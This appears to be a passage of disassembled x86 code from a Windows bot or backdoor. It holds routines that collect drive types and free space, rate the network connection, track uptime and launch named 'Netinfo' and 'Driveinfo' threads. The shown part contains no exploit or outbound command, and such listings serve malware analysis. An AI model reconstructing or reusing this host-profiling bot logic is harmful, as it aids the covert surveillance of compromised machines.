		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_408C9F
; ---------------------------------------------------------------------------


loc_408C8F:				; CODE XREF: sub_408B30+14Bj
		push	offset aLan	; "LAN"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_408C9F:				; CODE XREF: sub_408B30+11Fj
					; sub_408B30+13Ej ...
		call	sub_4043E9
		test	eax, eax
		jz	short loc_408CB4
		mov	[ebp+var_A64], offset aYes ; "Yes"
		jmp	short loc_408CBE
; ---------------------------------------------------------------------------


loc_408CB4:				; CODE XREF: sub_408B30+176j
		mov	[ebp+var_A64], offset aNo ; "No"


loc_408CBE:				; CODE XREF: sub_408B30+182j
		mov	eax, [ebp+var_A64]
		mov	[ebp+var_8], eax
		call	sub_404279
		test	eax, eax
		jz	short loc_408CDC
		mov	[ebp+var_A68], offset aYes ; "Yes"
		jmp	short loc_408CE6
; ---------------------------------------------------------------------------


loc_408CDC:				; CODE XREF: sub_408B30+19Ej
		mov	[ebp+var_A68], offset aNo ; "No"


loc_408CE6:				; CODE XREF: sub_408B30+1AAj
		mov	eax, [ebp+var_A68]
		mov	[ebp+var_8B4], eax
		call	sub_408887
		mov	[ebp+var_828], eax
		mov	[ebp+var_81C], offset aBad ; "Bad"
		cmp	[ebp+var_828], 2EEh
		jnb	short loc_408D1D
		mov	[ebp+var_81C], offset aAvarage ; "Avarage"


loc_408D1D:				; CODE XREF: sub_408B30+1E1j
		cmp	[ebp+var_828], 1F4h
		jnb	short loc_408D33
		mov	[ebp+var_81C], offset aGood ; "Good"


loc_408D33:				; CODE XREF: sub_408B30+1F7j
		call	sub_4088FC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_82C], 1
		jnz	short loc_408D50
		mov	[ebp+var_A6C], offset byte_41DF10
		jmp	short loc_408D5A
; ---------------------------------------------------------------------------


loc_408D50:				; CODE XREF: sub_408B30+212j
		mov	[ebp+var_A6C], offset dword_4191F4


loc_408D5A:				; CODE XREF: sub_408B30+21Ej
		cmp	[ebp+var_820], 1
		jnz	short loc_408D6F
		mov	[ebp+var_A70], offset byte_41DF10
		jmp	short loc_408D79
; ---------------------------------------------------------------------------


loc_408D6F:				; CODE XREF: sub_408B30+231j
		mov	[ebp+var_A70], offset dword_4191F4


loc_408D79:				; CODE XREF: sub_408B30+23Dj
		cmp	[ebp+var_830], 1
		jnz	short loc_408D8E
		mov	[ebp+var_A74], offset byte_41DF10
		jmp	short loc_408D98
; ---------------------------------------------------------------------------


loc_408D8E:				; CODE XREF: sub_408B30+250j
		mov	[ebp+var_A74], offset dword_4191F4


loc_408D98:				; CODE XREF: sub_408B30+25Cj
		push	[ebp+var_A6C]
		push	[ebp+var_82C]
		push	[ebp+var_A70]
		push	[ebp+var_820]
		push	[ebp+var_A74]
		push	[ebp+var_830]
		mov	eax, [ebp+var_4]
		mov	dword ptr [ebp+var_A7C], eax
		and	dword ptr [ebp+var_A7C+4], 0
		fild	[ebp+var_A7C]
		fdiv	flt_417274
		push	ecx
		push	ecx
		fstp	[esp+0A9Ch+var_A9C]
		push	[ebp+var_828]
		push	[ebp+var_81C]
		push	[ebp+var_8B4]
		push	[ebp+var_8]
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419284
		push	400h
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 48h
		lea	eax, [ebp+var_814]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_A60]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_408B30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E4A	proc near		; CODE XREF: sub_40A9CF+1BD8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_408E64
		jmp	short locret_408E8C
; ---------------------------------------------------------------------------


loc_408E64:				; CODE XREF: sub_408E4A+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aNetinfoThread ;	"Netinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408B30
		call	sub_4095A4
		add	esp, 10h

locret_408E8C:				; CODE XREF: sub_408E4A+18j
		leave
		retn
sub_408E4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E8E	proc near		; CODE XREF: sub_40CA29+1C5p
					; sub_40CA29+2DAp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_419398
		mov	[ebp+var_1C], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408EA4:				; CODE XREF: sub_408E8E+95j
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_408F14
		cmp	[ebp+var_10], 1
		jz	short loc_408F14
		cmp	[ebp+var_10], 5
		jz	short loc_408EE1
		cmp	[ebp+var_10], 2
		jz	short loc_408EE1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_408EF1
; ---------------------------------------------------------------------------


loc_408EE1:				; CODE XREF: sub_408E8E+33j
					; sub_408E8E+39j
		push	8
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_408EF1:				; CODE XREF: sub_408E8E+51j
		push	0
		push	100000h
		push	[ebp+var_20]
		push	[ebp+var_24]
		call	sub_416C90
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx


loc_408F14:				; CODE XREF: sub_408E8E+27j
					; sub_408E8E+2Dj
		mov	al, byte ptr [ebp+var_1C]
		add	al, 1
		mov	byte ptr [ebp+var_1C], al
		movsx	eax, byte ptr [ebp+var_1C]
		cmp	eax, 5Ah
		jnz	loc_408EA4
		mov	eax, [ebp+var_C]
		leave
		retn
sub_408E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F2E	proc near		; DATA XREF: sub_4091E2+35o

var_5DC		= dword	ptr -5DCh
var_5D8		= dword	ptr -5D8h
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= byte ptr -420h
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_404		= byte ptr -404h
var_3EF		= byte ptr -3EFh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5DCh
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5D4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	5
		pop	ecx
		mov	esi, offset aDriveInformati ; "Drive information - "
		lea	edi, [ebp+var_404]
		rep movsd
		movsb
		mov	ecx, 0FAh
		xor	eax, eax
		lea	edi, [ebp+var_3EF]
		rep stosd
		stosw
		stosb
		mov	eax, dword_419398
		mov	[ebp+var_424], eax
		and	[ebp+var_418], 0
		and	[ebp+var_5D8], 0
		and	[ebp+var_414], 0
		mov	[ebp+var_410], 1


loc_408FA6:				; CODE XREF: sub_408F2E+23Bj
		lea	eax, [ebp+var_424]
		push	eax
		call	dword_4170CC	; GetDriveTypeA
		mov	[ebp+var_5DC], eax
		cmp	[ebp+var_5DC], 0
		jz	loc_409151
		cmp	[ebp+var_5DC], 1
		jz	loc_409151
		cmp	[ebp+var_5DC], 2
		jnz	short loc_408FE5
		mov	[ebp+var_4], offset aRemovable ; "removable"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FE5:				; CODE XREF: sub_408F2E+ACj
		cmp	[ebp+var_5DC], 3
		jnz	short loc_408FF7
		mov	[ebp+var_4], offset aFixed ; "fixed"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_408FF7:				; CODE XREF: sub_408F2E+BEj
		cmp	[ebp+var_5DC], 4
		jnz	short loc_409009
		mov	[ebp+var_4], offset aRemote ; "remote"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_409009:				; CODE XREF: sub_408F2E+D0j
		cmp	[ebp+var_5DC], 5
		jnz	short loc_40901B
		mov	[ebp+var_4], offset aCdRom ; "cd-rom"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40901B:				; CODE XREF: sub_408F2E+E2j
		cmp	[ebp+var_5DC], 6
		jnz	short loc_40902D
		mov	[ebp+var_4], offset aRamdisk ; "ramdisk"
		jmp	short loc_409034
; ---------------------------------------------------------------------------


loc_40902D:				; CODE XREF: sub_408F2E+F4j
		mov	[ebp+var_4], offset aUnknown ; "unknown"


loc_409034:				; CODE XREF: sub_408F2E+B5j
					; sub_408F2E+C7j ...
		cmp	[ebp+var_5DC], 5
		jz	short loc_40906A
		cmp	[ebp+var_5DC], 2
		jz	short loc_40906A
		lea	eax, [ebp+var_42C]
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_424]
		push	eax
		call	dword_4170C8	; GetDiskFreeSpaceExA
		jmp	short loc_40907D
; ---------------------------------------------------------------------------


loc_40906A:				; CODE XREF: sub_408F2E+10Dj
					; sub_408F2E+116j
		push	8
		push	0
		lea	eax, [ebp+var_42C]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40907D:				; CODE XREF: sub_408F2E+13Aj
		push	0
		push	100000h
		push	[ebp+var_428]
		push	[ebp+var_42C]
		call	sub_416C90
		mov	[ebp+var_42C], eax
		mov	[ebp+var_428], edx
		cmp	[ebp+var_410], 0
		jnz	short loc_4090BF
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	short loc_4090C6
; ---------------------------------------------------------------------------


loc_4090BF:				; CODE XREF: sub_408F2E+17Aj
		and	[ebp+var_410], 0


loc_4090C6:				; CODE XREF: sub_408F2E+18Fj
		mov	eax, [ebp+var_42C]
		or	eax, [ebp+var_428]
		test	eax, eax
		jz	short loc_40910A
		push	[ebp+var_428]
		push	[ebp+var_42C]
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193E4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_409130
; ---------------------------------------------------------------------------


loc_40910A:				; CODE XREF: sub_408F2E+1A6j
		push	[ebp+var_4]
		lea	eax, [ebp+var_424]
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_4193D4
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h


loc_409130:				; CODE XREF: sub_408F2E+1DAj
		mov	eax, [ebp+var_42C]
		mov	ecx, [ebp+var_414]
		add	ecx, eax
		mov	[ebp+var_414], ecx
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_409151:				; CODE XREF: sub_408F2E+92j
					; sub_408F2E+9Fj
		mov	al, byte ptr [ebp+var_424]
		add	al, 1
		mov	byte ptr [ebp+var_424],	al
		movsx	eax, byte ptr [ebp+var_424]
		cmp	eax, 5Ah
		jnz	loc_408FA6
		cmp	[ebp+var_5D8], 0
		jz	short loc_40918B
		push	offset dword_419404
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx


loc_40918B:				; CODE XREF: sub_408F2E+248j
		push	[ebp+var_414]
		push	[ebp+var_5D8]
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_41939C
		lea	eax, [ebp+var_404]
		push	eax
		call	dword_4171E0	; wsprintfA
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		leave
		retn	4
sub_408F2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091E2	proc near		; CODE XREF: sub_40A9CF+1C61p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4091FC
		jmp	short locret_409224
; ---------------------------------------------------------------------------


loc_4091FC:				; CODE XREF: sub_4091E2+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aDriveinfoThrea ; "Driveinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408F2E
		call	sub_4095A4
		add	esp, 10h

locret_409224:				; CODE XREF: sub_4091E2+18j
		leave
		retn
sub_4091E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409226	proc near		; CODE XREF: sub_4167F1+215p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_40928E
		jg	short loc_40924E
		cmp	[ebp+var_8], 0
		jbe	short loc_40928E


loc_40924E:				; CODE XREF: sub_409226+20j
		cmp	[ebp+var_C], 0
		jl	short loc_40928E
		jg	short loc_40925C
		cmp	[ebp+var_10], 0
		jbe	short loc_40928E


loc_40925C:				; CODE XREF: sub_409226+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		mov	dword_41E3B0, eax
		jmp	short locret_4092A2
; ---------------------------------------------------------------------------


loc_40928E:				; CODE XREF: sub_409226+1Ej
					; sub_409226+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_41E3B0, eax

locret_4092A2:				; CODE XREF: sub_409226+66j
		leave
		retn
sub_409226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4092A4	proc near		; CODE XREF: sub_4083AD+61p
					; sub_40A9CF+1CCAp ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409307
		jg	short loc_4092CC
		cmp	[ebp+var_8], 0
		jbe	short loc_409307


loc_4092CC:				; CODE XREF: sub_4092A4+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409307
		jg	short loc_4092DA
		cmp	[ebp+var_10], 0
		jbe	short loc_409307


loc_4092DA:				; CODE XREF: sub_4092A4+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		jmp	short locret_409316
; ---------------------------------------------------------------------------


loc_409307:				; CODE XREF: sub_4092A4+1Ej
					; sub_4092A4+26j ...
		call	dword_4170D0	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx

locret_409316:				; CODE XREF: sub_4092A4+61j
		leave
		retn
sub_4092A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409318	proc near		; CODE XREF: sub_408B30:loc_408BBCp
					; sub_40A9CF:loc_40C715p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4170D8	; QueryPerformanceCounter
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4170D4	; QueryPerformanceFrequency
		cmp	[ebp+var_4], 0
		jl	short loc_409381
		jg	short loc_409340
		cmp	[ebp+var_8], 0
		jbe	short loc_409381


loc_409340:				; CODE XREF: sub_409318+20j
		cmp	[ebp+var_C], 0
		jl	short loc_409381
		jg	short loc_40934E
		cmp	[ebp+var_10], 0
		jbe	short loc_409381


loc_40934E:				; CODE XREF: sub_409318+2Ej
		push	[ebp+var_C]
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416D10
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_416CFE	; ceil
		pop	ecx
		pop	ecx
		call	sub_416CF8	; _ftol
		sub	eax, dword_41E3B0
		jmp	short locret_40938D
; ---------------------------------------------------------------------------


loc_409381:				; CODE XREF: sub_409318+1Ej
					; sub_409318+26j ...
		call	dword_4170D0	; GetTickCount
		sub	eax, dword_41E3B0

locret_40938D:				; CODE XREF: sub_409318+67j
		leave
		retn
sub_409318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40938F	proc near		; CODE XREF: sub_4167F1+D5p
		push	ebp
		mov	ebp, esp
		and	dword_41E3D0, 0
		push	1980h
		call	sub_416B46	; malloc
		pop	ecx
		mov	dword_41E3D8, eax
		push	offset dword_41E3B8
		call	sub_409C36
		pop	ecx
		pop	ebp
		retn
sub_40938F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4093B6	proc near		; DATA XREF: sub_409479+35o

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417278
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_20], 0
		and	[ebp+var_1C], 0
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_20]
		call	dword_4170DC	; IsBadCodePtr
		test	eax, eax
		jz	short loc_409431
		cmp	dword_41DF18, 0
		jz	short loc_40942F
		push	[ebp+var_20]
		push	offset dword_419474
		push	offset dword_41DB90
		call	sub_40D4AB
		add	esp, 0Ch


loc_40942F:				; CODE XREF: sub_4093B6+62j
		jmp	short loc_409443
; ---------------------------------------------------------------------------


loc_409431:				; CODE XREF: sub_4093B6+59j
		push	[ebp+var_1C]
		call	[ebp+var_20]
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_24]
		jmp	short loc_409468
; ---------------------------------------------------------------------------


loc_409443:				; CODE XREF: sub_4093B6:loc_40942Fj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_409466
; ---------------------------------------------------------------------------
		push	offset aBtg	; "btg"
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_409466:				; CODE XREF: sub_4093B6+91j
		xor	eax, eax


loc_409468:				; CODE XREF: sub_4093B6+8Bj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4093B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409479	proc near		; CODE XREF: sub_40764D+14Ap
					; sub_409BF1+2Fp ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	8
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_409494
		xor	eax, eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_409494:				; CODE XREF: sub_409479+15j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	[ebp+var_C]
		push	offset sub_4093B6
		push	20000h
		push	0
		call	sub_416DC0	; _beginthreadex
		add	esp, 18h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4094D9
		push	[ebp+var_4]
		call	dword_4170A4	; CloseHandle
		push	1
		pop	eax
		jmp	short locret_4094E4
; ---------------------------------------------------------------------------


loc_4094D9:				; CODE XREF: sub_409479+50j
		push	[ebp+var_C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax

locret_4094E4:				; CODE XREF: sub_409479+19j
					; sub_409479+5Ej
		leave
		retn
sub_409479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094E6	proc near		; DATA XREF: sub_4095A4+159o

var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417288
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 18Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	al, byte_41DF10
		mov	[ebp+var_19C], al
		push	60h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_19B]
		rep stosd
		stosw
		stosb
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax+10h]
		mov	[ebp+var_1A0], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		call	dword ptr [eax+10h]
		mov	[ebp+var_1A4], eax
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_1A4]
		jmp	short loc_409593
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_19C]
		push	eax
		push	offset aThread	; "thread"
		push	[ebp+var_14]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_409593:				; CODE XREF: sub_4094E6+8Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4094E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095A4	proc near		; CODE XREF: sub_4017AA+A2p
					; sub_401D6E+8Dp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset dword_41E3B8
		call	sub_409C6C
		pop	ecx
		cmp	dword_41E3D0, 10h
		jnz	short loc_4095D9
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_4095D9:				; CODE XREF: sub_4095A4+18j
		cmp	[ebp+arg_8], 0
		jz	short loc_409627
		and	[ebp+var_10], 0
		jmp	short loc_4095EC
; ---------------------------------------------------------------------------


loc_4095E5:				; CODE XREF: sub_4095A4:loc_409625j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4095EC:				; CODE XREF: sub_4095A4+3Fj
		cmp	[ebp+var_10], 10h
		jge	short loc_409627
		mov	eax, [ebp+var_10]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		mov	eax, [ecx+eax+10h]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_409625
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409625:				; CODE XREF: sub_4095A4+64j
		jmp	short loc_4095E5
; ---------------------------------------------------------------------------


loc_409627:				; CODE XREF: sub_4095A4+39j
					; sub_4095A4+4Cj
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		jmp	short loc_409638
; ---------------------------------------------------------------------------


loc_409631:				; CODE XREF: sub_4095A4:loc_409672j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_409638:				; CODE XREF: sub_4095A4+8Bj
		cmp	[ebp+var_8], 10h
		jge	short loc_409674
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		cmp	dword ptr [ecx+eax+8], 0
		jnz	short loc_409672
		mov	eax, [ebp+var_8]
		imul	eax, 198h
		mov	ecx, dword_41E3D8
		add	ecx, eax
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		jmp	short loc_409674
; ---------------------------------------------------------------------------


loc_409672:				; CODE XREF: sub_4095A4+AEj
		jmp	short loc_409631
; ---------------------------------------------------------------------------


loc_409674:				; CODE XREF: sub_4095A4+98j
					; sub_4095A4+CCj
		cmp	[ebp+var_C], 0
		jnz	short loc_409695
		push	[ebp+arg_4]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41E3B8
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	locret_409761
; ---------------------------------------------------------------------------


loc_409695:				; CODE XREF: sub_4095A4+D4j
		cmp	[ebp+arg_4], 0
		jz	short loc_4096A3
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx


loc_4096A3:				; CODE XREF: sub_4095A4+F5j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[eax+10h], ecx
		lea	eax, [ebp+arg_10]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_C]
		mov	eax, [ebp+var_C]
		add	eax, 14h
		push	eax
		call	sub_416DC6	; vsprintf
		add	esp, 0Ch
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+4], 0
		mov	eax, dword_41E3D0
		inc	eax
		mov	dword_41E3D0, eax
		cmp	[ebp+arg_4], 0
		jz	short loc_4096EB
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
